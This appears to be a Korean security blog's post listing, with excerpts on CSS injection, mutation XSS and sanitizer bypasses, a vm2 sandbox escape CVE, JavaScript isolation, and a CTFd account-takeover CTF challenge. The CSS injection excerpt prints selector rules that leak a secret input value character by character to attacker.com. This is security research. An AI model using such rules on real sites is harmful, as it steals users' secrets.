Project(6)
-
CSS injection
그렇다 내가 궁금한 것은 해당 라이브러리들이 css injection도 잘막아주는가? 이다.이에 css injection 이 될 수 있는 포인트들을 모으기로 하였다. 해당 부분이 공격 factor가 될 것 같다.1. url2. has()3. 선택자input[name="secret"][value^="a"] { background: url("https://attacker.com/leak?char=a"); }input[name="secret"][value^="b"] { background: url("https://attacker.com/leak?char=b"); }...input[name="secret"][value^="z"] { background: url("https://attacker.com/leak?c..
2025.05.17 -
Parse Me, Baby, One More Time: Bypassing HTML Sanitizer via Parsing Differentials (1)
mutation xss는 브라우저 파싱과 일반적인 보안 프레임워크의 파싱차이로 인해 발생되는 취약점이다. 브라우저가 파싱을 다양한 알고리즘으로 하는 반면 보안 프레임워크는 그러지 못하여 발생되는 취약점이다. XSS를 필터링하는 방법은 크게 2가지이다. client 측 필터링 serverside 측 필터링.그런데 serverside가 제대로 된 필터링를 진행하기 위해서는 browser의 html 파싱 알고리즘을 정확히 알아야 한다. 하지만 html 명세서만 봐도 엄청 복잡하며, 또한 명세서에 따라서 파싱이 꼭 이루어지는 것은 아니다.(이거는 브라우저 잘못임) 이에 재미있는 연구를 진행하셨다. 일단 먼저 HTML 명세를 분석하고, 파싱 동작에 영향을 줄 수 있는 html 조각을 모은 뒤 mutation..
2025.05.12 -
Muation XSS
https://www.youtube.com/watch?v=ixSENC-iZI8Mutation xss에 대한 언급이 나온다. DOMpudify 설립자인 것으로 압니다. Mutation xss에 대해서 자세하게 설명하는 영상은 아래 영상을 보면 이해하기 쉽다.https://www.youtube.com/watch?v=aczTceXp49U 한마디로 요약하자면 1. 브라우저가 에러가 발생을 막기위해서 에러가 발생될 것 같은 html의 구조를 다시 정리함.2. 이미 세니타이즈 되어서 나온 html이 다시 파싱되면서 xss가 발생함. 조금 더욱 구체적으로 말하자면, 대부분의 방어(sanitize) 라이브러리들은 문자열을 dom tree로 파싱한다. 위험한 html 및 속성을 삭제한뒤, DOM 트리를 문자열로 직렬화..
2025.05.04 -
VM2와 문제점
VM2는 VM을 기반으로 만들어진 js 코드 격리 라이브러리이다. VM2는 VM에 membrane를 추가하여 만든 방어막이다.아래 와 같은 코드를 VM에서 사용했을 경우, 호스트 context를 탈출 가능했을 것이다. 하지만, Vm2에서는 오류가 발생된다. 즉 추가적인 방어막을 통하여 적절히 방어한 것이다. 하지만 아래는 vm2에서 발생된 CVE이다. try catch 구문을 이용하게 되면 exception이 발생하게 되고, 이는 host 코드에서 에러를 넘겨주고 이는 host에서 온 객체임으로 이를 타고 넘어갈 수 있다.
2025.01.18 -
javascript 격리 기술 . VM
javascript 격리 기술에 대해서 설명해보고자 한다. client 혹은 server 단에서 자바스크립트를 많이 사용한다. 이때 많은 라이브러리를 참조하는데, 참조한 라이브러리가 안전한 라이브러리인지 판단하기 힘들다. 예시로 참조한 라이브러리가 오류로 무한 로딩되는 문제가 있는데 이를 서버단의 코드로 import하여 사용했다간 서버가 멈출 수 있다. 이외에도 악의적으로 악성 라이브러리가 존재하여 서버 단을 망가트리는 코드가 존재할 수 있다. 이러한 경우를 방지하기 위해서 javascript 격리 기술을 사용한다. javascript 격리 라이브러리는 많이 존재한다. isolate-vm, vm2 등등이 있다. 방법에 따라 달라지는데 런타임 격리 기술과 언어 기반 격리 기술이 있다. 이런한 격리 기술..
2025.01.17 -
CVE-2020-7245 CTFd Account Takeover 기반 CTF 문제 만들기
아래에서 github에서 CVE-2020-7245 CTFd Account Takeover 다운받아서 사용가능합니다.아래 링크는 CVE를 분석한 글입니다.https://minpo.tistory.com/47 CVE-2020-7245: CTFd Account Takeover최근 GRAPE 해킹 동아리에서 CTF문제 사이트를 공개하였다. CTF 문제사이트를 위한 CTF-D라는 라이브리를 사용하였다. 이에 CTF-D에 취약점이 존재하였는지 확인하다. 간단하지만 재미있는 CVE를 찾게minpo.tistory.com https://github.com/mingijunggrape/make_CTF/tree/main GitHub - mingijunggrape/make_CTFContribute to mingijunggrape..
2024.09.16